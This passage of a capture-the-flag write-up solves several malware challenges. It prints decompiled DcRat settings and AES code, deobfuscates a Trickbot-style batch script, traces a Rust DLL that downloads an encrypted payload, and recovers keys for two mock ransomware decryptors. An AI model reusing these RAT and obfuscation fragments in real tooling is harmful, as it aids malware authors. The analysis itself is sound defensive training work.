    public static string Flag = "mZzroGSIkpZlwvCwLG0PHQMXzjphDowlbeBayjWJhmYPJ5KiQeUAbcv9SzTnLGpr3uYQ0VvZ02rGlxz71tOXMemdK1DKKY6uX2QfUJW+WlDPcLi1u48xBrhmDcpRaK1G";

    public static X509Certificate2 Server_Certificate;

    public static Aes256 aes256;

    public static string Paste_bin = "YdPbUdzwNubP05sFVME1x/zZnxoOrLNAFnBnvAJqoEQuNFJhA+0y+zLINl39e+hckx+vSQNW/O7aBbcqGwimxA==";

    public static string BS_OD = "r2jg98lYn96hKk2aovImXLewikwqs7MI2Xh5DrDbpasjsKYZDh6qVNvyj+CjkWAvp8qxPnjB3tevncIE1mnNGw==";

    public static string Hw_id = null;

    public static string De_lay = "1";

    public static string Group = "Ha1Z0XX9Mbx5qnUwNZFPq5uTUuXORoCiRJJSYIsjPbbG9qOzy2Gak6ZVOeujkrOdB8kKBPdzjOOVycgs2I9avQ==";

    public static string Anti_Process = "YzbSZfj3wPF64K9EsHZWf1azOH7dh83oOCrXp/A8j9CIIhB2CGXzk/2NcbZ0TACUt2I9M0d111WS1nX+uX/ubg==";

    public static string An_ti = "FSgwuRCQkD21d2Yp+4+up9i7z/Vx1h6NhaNvN/U83Ai8M6p+zb51XrJJ+Tg1qn2wQXD84oVNv1WJVLQmQkGnrw==";

    public static bool InitializeSettings()
    {
        try
        {
            Key = Encoding.UTF8.GetString(Convert.FromBase64String(Key));
            aes256 = new Aes256(Key);
            Por_ts = aes256.Decrypt(Por_ts);
            Hos_ts = aes256.Decrypt(Hos_ts);
            Ver_sion = aes256.Decrypt(Ver_sion);
            In_stall = aes256.Decrypt(In_stall);
            MTX = aes256.Decrypt(MTX);
            Paste_bin = aes256.Decrypt(Paste_bin);
            An_ti = aes256.Decrypt(An_ti);
            Anti_Process = aes256.Decrypt(Anti_Process);
            BS_OD = aes256.Decrypt(BS_OD);
            Group = aes256.Decrypt(Group);
            Hw_id = HwidGen.HWID();
            Server_signa_ture = aes256.Decrypt(Server_signa_ture);
            Server_Certificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certifi_cate)));
            return VerifyHash();
        }
        catch
        {
            return false;
        }
    }

    private static bool VerifyHash()
    {
        try
        {
            RSACryptoServiceProvider rSACryptoServiceProvider = (RSACryptoServiceProvider)Server_Certificate.PublicKey.Key;
            using SHA256Managed sHA256Managed = new SHA256Managed();
            return rSACryptoServiceProvider.VerifyHash(sHA256Managed.ComputeHash(Encoding.UTF8.GetBytes(Key)), CryptoConfig.MapNameToOID("SHA256"), Convert.FromBase64String(Server_signa_ture));
        }
        catch (Exception)
        {
            return false;
        }
    }
}

Here we can see a variable named Flag, with some encrypted data.

We can also find the encryption algorithm used in the Aes256 class.

// Client.Algorithm.Aes256
using System;
using System.IO;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;

public class Aes256
{
    private const int KeyLength = 32;

    private const int AuthKeyLength = 64;

    private const int IvLength = 16;

    private const int HmacSha256Length = 32;

    private readonly byte[] _key;

    private readonly byte[] _authKey;

    private static readonly byte[] Salt = Encoding.ASCII.GetBytes("DcRatByqwqdanchun");

    public Aes256(string masterKey)
    {
        if (string.IsNullOrEmpty(masterKey))
        {
            throw new ArgumentException("masterKey can not be null or empty.");
        }
        using Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(masterKey, Salt, 50000);
        _key = rfc2898DeriveBytes.GetBytes(32);
        _authKey = rfc2898DeriveBytes.GetBytes(64);
    }

    public string Encrypt(string input)
    {
        return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input)));
    }

    public byte[] Encrypt(byte[] input)
    {
        if (input == null)
        {
            throw new ArgumentNullException("input can not be null.");
        }
        using MemoryStream memoryStream = new MemoryStream();
        memoryStream.Position = 32L;
        using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
        {
            aesCryptoServiceProvider.KeySize = 256;
            aesCryptoServiceProvider.BlockSize = 128;
            aesCryptoServiceProvider.Mode = CipherMode.CBC;
            aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
            aesCryptoServiceProvider.Key = _key;
            aesCryptoServiceProvider.GenerateIV();
            using CryptoStream cryptoStream = new CryptoStream(memoryStream, aesCryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write);
            memoryStream.Write(aesCryptoServiceProvider.IV, 0, aesCryptoServiceProvider.IV.Length);
            cryptoStream.Write(input, 0, input.Length);
            cryptoStream.FlushFinalBlock();
            using HMACSHA256 hMACSHA = new HMACSHA256(_authKey);
            byte[] array = hMACSHA.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
            memoryStream.Position = 0L;
            memoryStream.Write(array, 0, array.Length);
        }
        return memoryStream.ToArray();
    }

    public string Decrypt(string input)
    {
        return Encoding.UTF8.GetString(Decrypt(Convert.FromBase64String(input)));
    }

    public byte[] Decrypt(byte[] input)
    {
        if (input == null)
        {
            throw new ArgumentNullException("input can not be null.");
        }
        using MemoryStream memoryStream = new MemoryStream(input);
        using AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider();
        aesCryptoServiceProvider.KeySize = 256;
        aesCryptoServiceProvider.BlockSize = 128;
        aesCryptoServiceProvider.Mode = CipherMode.CBC;
        aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
        aesCryptoServiceProvider.Key = _key;
        using (HMACSHA256 hMACSHA = new HMACSHA256(_authKey))
        {
            byte[] a = hMACSHA.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
            byte[] array = new byte[32];
            memoryStream.Read(array, 0, array.Length);
            if (!AreEqual(a, array))
            {
                throw new CryptographicException("Invalid message authentication code (MAC).");
            }
        }
        byte[] array2 = new byte[16];
        memoryStream.Read(array2, 0, 16);
        aesCryptoServiceProvider.IV = array2;
        using CryptoStream cryptoStream = new CryptoStream(memoryStream, aesCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Read);
        byte[] array3 = new byte[memoryStream.Length - 16 + 1];
        byte[] array4 = new byte[cryptoStream.Read(array3, 0, array3.Length)];
        Buffer.BlockCopy(array3, 0, array4, 0, array4.Length);
        return array4;
    }

    [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
    private bool AreEqual(byte[] a1, byte[] a2)
    {
        bool result = true;
        for (int i = 0; i < a1.Length; i++)
        {
            if (a1[i] != a2[i])
            {
                result = false;
            }
        }
        return result;
    }
}

Now we have all we need to decrypt the Flag variable.

As we can see, the AES key is the result of a PBKDF2 operation, using the variable Key from the Settings class as the key, and the salt from the Salt variable in the Aes256 class. The PBKDF2 operation will be set to iterate 50000 times and the resulting hash is 32 bytes.

To get the IV for the encryption, we can see that it is the first 16 bytes of the encrypted data.

Using this information, we can decrypt the flag. Following is a Python script to decrypt the flag.

#!/usr/bin/env python3

from hashlib import pbkdf2_hmac
from base64 import b64decode
from Crypto.Cipher import AES

flag = b64decode(
    'mZzroGSIkpZlwvCwLG0PHQMXzjphDowlbeBayjWJhmYPJ5KiQeUAbcv9SzTnLGpr3uYQ0VvZ02rGlxz71tOXMemdK1DKKY6uX2QfUJW+WlDPcLi1u48xBrhmDcpRaK1G')
salt = b'DcRatByqwqdanchun'
masterkey = b64decode('S1hNZ2tQdFJlRkVIWXhKczRMZEIwRmRQVmg3WGxDNEQ=')

key = pbkdf2_hmac('sha1', masterkey, salt, 50000, 32)

print('key: ', key)

iv = flag[:16]
flag = flag[16:]

cipher = AES.new(key, AES.MODE_CBC, iv)
print('Decrypted:', cipher.decrypt(flag))

flag{8b988b859588f2725f0c859104919019}


Batchfuscation

Malware

Description

I was reading a report on past Trickbot malware, and I found this sample that looks a lot like their code! Can you make any sense of it?

Solution

Attached to the challenge is a obfuscated batch script.

At the top we can see that the obfuscation is using set commands to make it harder to read.

@echo off
set bdevq=set
%bdevq% grfxdh=
%bdevq%%grfxdh%mbbzmk==
%bdevq%%grfxdh%xeegh%mbbzmk%/
%bdevq%%grfxdh%jeuudks%mbbzmk%a
%bdevq%%grfxdh%rbiky%mbbzmk%c
%bdevq%%grfxdh%wzirk%mbbzmk%m
%bdevq%%grfxdh%naikpbo%mbbzmk%d
%bdevq%%grfxdh%ltevposie%mbbzmk%e

After manually replacing the variables, we get to the next layer of obfuscation.

set /a bpquuu=4941956 %% 4941859
cmd /c exit %bpquuu%
set grtoy=%=exitcodeAscii%

This will calculate a value and set it to the bpquuu variable, then use this value as an ascii character set in the grtoy variable.

After deobfuscating this layer, we end up with a file with a lot of lines. Sprinkled throughout the file we can find some set commands for each flag character.

Extracting this and ordering the characters we get the flag.

flag{acad67e3d0b5bf31ac6639360db9d19a}


Crab Rave

Malware

Description

My biologist friend told me that everything eventually evolves into a crab-like form. I don’t know if that’s true but I guess malware authors got a head start on that evolution. To save you some time, I went ahead and found you the 10 hour extended version of Crab Rave on YouTube (https://www.youtube.com/watch?v=-50NdPawLVY). You’ll need it.

So, here’s the deal. This one is tough, so we’re giving you a “Choose Your Own Adventure” challenge. Are you super confident with reverse engineering? Try crab_rave_harder.7z. Not so confident with RE? We gave you crab_rave_easier.7z.

Solution

Opening the DLL in IDA and taking a look at the exports, we can see that the DLL exports two entries.

Checking out DLLMain, we can’t find anything interesting there. Checking out NtCheckOSArchitecture we can find some interesting stuff going on.

Here we see that there are some encrypted strings being decrypted. Checking the litcrypt_internal::decrypt_bytes function, we can see that it’s a XOR encryption and the key used is “-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-“.

Decrypting the two values, we get m.yeomans30801 and WIN-DEV-13.

Taking a further look around the code, we can find a call to a
function named inject_flag

Checking out the function, we see some interesting stuff happening.

First, a value is decrypted, which then is used as a parameterer to reqwest::blocking::get, so the encrypted value seems to be an url.

Taking the values in byte_103CD840 and decrypting them with the XOR decryption, we get the url https://gist.githubusercontent.com/HuskyHacks/8cece878fde615ef8770059d88211b2e/raw/abcaf5920a40843851eec550d1dca97e9444ac75/gistfile1.txt

This file contains some base64 encoded data. Let’s check how it’s used in inject_flag.

The response is used as an input to a base64 decoding routine.

The decoded data is then used as input to a AES decryption function.

Here we can see the AES key and IV, rAcbUUWWNFlqMbruiYOIsAyVQHS78orvMoJ8C6O4D3asAApB, where the key is the 32 first characters, and the IV the last 16.

Now we have all we need to decrypt the data, the following Python script will download the file and decrypt the contents.

#!/usr/bin/env python3
import requests
import base64
from Crypto.Cipher import AES

url = 'https://gist.githubusercontent.com/HuskyHacks/8cece878fde615ef8770059d88211b2e/raw/abcaf5920a40843851eec550d1dca97e9444ac75/gistfile1.txt'

r = requests.get(url)

data = base64.b64decode(r.text)

key = b'rAcbUUWWNFlqMbruiYOIsAyVQHS78orv'
iv = b'MoJ8C6O4D3asAApB'

cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(data)

print(decrypted)

After running the script, we find the flag in the decrypted data.

flag{225215e04306f6a3c1a59400b054b0df}


BlackCat

Malware

Description

We’ve been hit by the infamous BlackCat Ransomware Group! We need you to help restore the encrypted files. Please help! My favorite rock got encrypted and I’m a wreck right now!

Solution

Here we got a ransomware decryptor and some encrypted files. Let’s start by taking a look at the decryptor in IDA.

The first thing we can see is that the key length has to be at least eight characters long.

After finding the decryption routine we see that the decryptor uses a simple XOR encryption and will decrypt the file in chunks of eight bytes. This means that the key has to be exactly eight characters.

Checking what files we have to work with, we can find some images and some text files. Since we only need to recover eight bytes of data, we can use the file header for a PNG file.

So let’s get the first eight bytes of encrypted PNG header, XOR it with correct PNG header and we get the key cosmoboi.

Using this key, we can decrypt the flag.

flag{092744b55420033c5eb9d609eac5e823}


Snake Eater II

Malware

Description

Snake Eater II – Revenge of the Snake Eater

The Threat Actor must have gotten word that you had no trouble dissecting Snake Eater. They said this one is a bit more… involved.

Solution

Running the application and checking what happens in Process Monitor, we can see the following.

It seems that a file containing the flag is created at a random location, and then deleted. To get the flag, let’s debug the application and break before the file is deleted. We will have to keep Process Monitor open as well, since we need to know where the flag file is written.

Using x64dbg, we can open the executable, and since the code that creates the flag is on a spawned process, we start by setting a breakpoint on NtCreateUserProcess by entering bpx NtCreateUserProcess.

Clicking Execute until return will execute the create process call. Now we can attach a debugger to that process.

Starting a new instance of x64dbg and pressing Alt+A, opens the attach to proces window, and here we can see the new process with PID 1180.

After attaching to the process, we want to set a breakpoint in DeleteFileW, so we can break before the flag.txt file is deleted. To do this, we enter bpx DeleteFileW.

Now we have to resume our main thread. By doing this, our secondary process starts execution. Now we have to resume execution on the secondary process until we hit the second DeleteFileW.

Checking Process Monitor, we see where the flag.txt file is located.

Now we can open the file and get the flag.

flag{be47387ab77251ecf80db1b6725dd7ac}


BlackCat II

Malware

Description

Be advised analyst: BlackCat is back! And they’re mad. Very mad. Help our poor user recover the images that they downloaded while browsing their favorite art site. Quickly!

Solution

Here we got a decryptor program, and some encrypted files. Let’s start by checking out the decryptor. The decryptor is a .NET application, so we can decompile it using a tool like ILSpy.

We find the decryption routine in Decryptor.DecryptorUtil.

// Decryptor.DecryptorUtil
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

internal class DecryptorUtil
{
    private static byte[] hardcodedIV = new byte[16]
    {
        1, 35, 69, 103, 137, 171, 205, 239, 254, 220,
        186, 152, 118, 84, 50, 16
    };

    public static void DecryptFiles(string directoryPath, string decryptionKey)
    {
        string[] files = Directory.GetFiles(directoryPath, "*.encry");
        if (files.Length != 0)
        {
            string text = null;
            string[] array = files;
            foreach (string text2 in array)
            {
                string key = ((text != null) ? CalculateSHA256Hash(text) : decryptionKey);
                string text3 = Path.Combine(directoryPath, Path.GetFileNameWithoutExtension(text2) + ".decry");
                AESDecryptFile(text2, text3, key, hardcodedIV);
                text = text3;
            }
            Console.WriteLine("[*] Decryption completed.");
        }
    }

    private static string CalculateSHA256Hash(string filePath)
    {
        using SHA256 sHA = SHA256.Create();
        using FileStream inputStream = File.OpenRead(filePath);
        return BitConverter.ToString(sHA.ComputeHash(inputStream)).Replace("-", "").ToLower();
    }

    private static byte[] GenerateAesKeyFromPassword(string password)
    {
        byte[] bytes = Encoding.UTF8.GetBytes("KnownSaltValue");
        using Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, bytes, 10000, HashAlgorithmName.SHA256);
        byte[] bytes2 = rfc2898DeriveBytes.GetBytes(32);
        if (bytes2.Length != 32)
        {
            throw new InvalidOperationException("Derived key size is not valid for AES encryption.");
        }
        return bytes2;
    }

    private static void AESDecryptFile(string inputFile, string outputFile, string key, byte[] iv)
    {
        try
        {
            using Aes aes = Aes.Create();
            byte[] array2 = (aes.Key = GenerateAesKeyFromPassword(key));
            aes.IV = iv;
            aes.Mode = CipherMode.CFB;
            aes.Padding = PaddingMode.Zeros;
            using FileStream fileStream = new FileStream(inputFile, FileMode.Open);
            using FileStream stream = new FileStream(outputFile, FileMode.Create);
            using ICryptoTransform transform = aes.CreateDecryptor();
            using CryptoStream cryptoStream = new CryptoStream(stream, transform, CryptoStreamMode.Write);
            byte[] array3 = new byte[4096];
            int count;
            while ((count = fileStream.Read(array3, 0, array3.Length)) > 0)
            {
                cryptoStream.Write(array3, 0, count);
            }
        }
        catch (Exception ex)
        {
            Console.WriteLine("Decryption error: " + ex.Message);
        }
    }
}

Let’s take a closer look at the DecryptFiles method.

    public static void DecryptFiles(string directoryPath, string decryptionKey)
    {
        string[] files = Directory.GetFiles(directoryPath, "*.encry");
        if (files.Length != 0)
        {
            string text = null;
            string[] array = files;
            foreach (string text2 in array)
            {
                string key = ((text != null) ? CalculateSHA256Hash(text) : decryptionKey);
                string text3 = Path.Combine(directoryPath, Path.GetFileNameWithoutExtension(text2) + ".decry");
                AESDecryptFile(text2, text3, key, hardcodedIV);
                text = text3;
            }
            Console.WriteLine("[*] Decryption completed.");
        }
    }

So the decryptor takes each file in the entered directory and loops through each item. In the first iteration of the loop, the decryptionKey variable is used as the AES key, for each subsequent iteration, the value from CalculateSHA256Hash is used.

Let’s check CalculateSHA256Hash.

    private static string CalculateSHA256Hash(string filePath)
    {
        using SHA256 sHA = SHA256.Create();
        using FileStream inputStream = File.OpenRead(filePath);
        return BitConverter.ToString(sHA.ComputeHash(inputStream)).Replace("-", "").ToLower();
    }

So, the key used for each file is the SHA-256 sum of the previous decrypted file.

If we find the original image for the first entry, A_Sunday_Afternoon_on_the_Island_of_La_Grande_Jatte_by_Georges_Seurat_5773ff06-a03e-401b-8914-6106bc277bfd_large.jpg, we should be able to use that as the key.

Using Bing, we finally are able to find the original image.

Downloading the image from https://cdn.shopify.com/s/files/1/1771/4067/files/A_Sunday_Afternoon_on_the_Island_of_La_Grande_Jatte_by_Georges_Seurat_5773ff06-a03e-401b-8914-6106bc277bfd_large.jpg?v=1571687486 we can use it as a key.

Using the following Python script, we can decrypt the flag using the image as a key.

#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
import hmac
import sys
import os
import hashlib


def get_files():
    return [
        'victim-files/Cafe_Terrace_at_Night_by_Vincent_van_Gogh_large.jpg.encry',
        'victim-files/flag.txt.encry'
    ]


def aes_decrypt_file(input_file, output_file, key):
    iv = bytes([1, 35, 69, 103, 137, 171, 205, 239, 254, 220,
                186, 152, 118, 84, 50, 16])
    with open(input_file, 'rb') as infile, open(output_file, 'wb') as outfile:
        cipher = AES.new(key, AES.MODE_CFB, iv)
        while True:
            chunk = infile.read(4096)
            if not chunk:
                break
            decrypted_chunk = cipher.decrypt(chunk)
            outfile.write(decrypted_chunk)


def generate_aes_key_from_password(password):
    salt = b'KnownSaltValue'
    return PBKDF2(password, salt, dkLen=32, count=10000,
                  prf=lambda p, s: hmac.new(p, s, hashlib.sha256).digest())


def calculate_sha256_hash(file_path):
    sha256 = hashlib.sha256()
    with open(file_path, 'rb') as file:
        while True:
            data = file.read(65536)  # Read in 64k chunks
            if not data:
                break
            sha256.update(data)
    return sha256.hexdigest()


def main():
    if len(sys.argv) < 2:
        print('Usage: python3 solve.py <file-as-key>')
        return

    key = calculate_sha256_hash(sys.argv[1])
    print('Using initial key:', key)

    for filename in get_files():
        print('Decrypting', filename)
        outfile = os.path.join(os.path.splitext(filename)[0] + ".decry")
        aes_decrypt_file(filename, outfile,
                         generate_aes_key_from_password(key))
        key = calculate_sha256_hash(outfile)


def print_flag():
    print('-' * 80)
    with open('victim-files/flag.txt.decry', 'r') as f:
        print(f.read())


if __name__ == '__main__':
    main()
    print_flag()

flag{03365961aa6aca589b59c683eecc9659}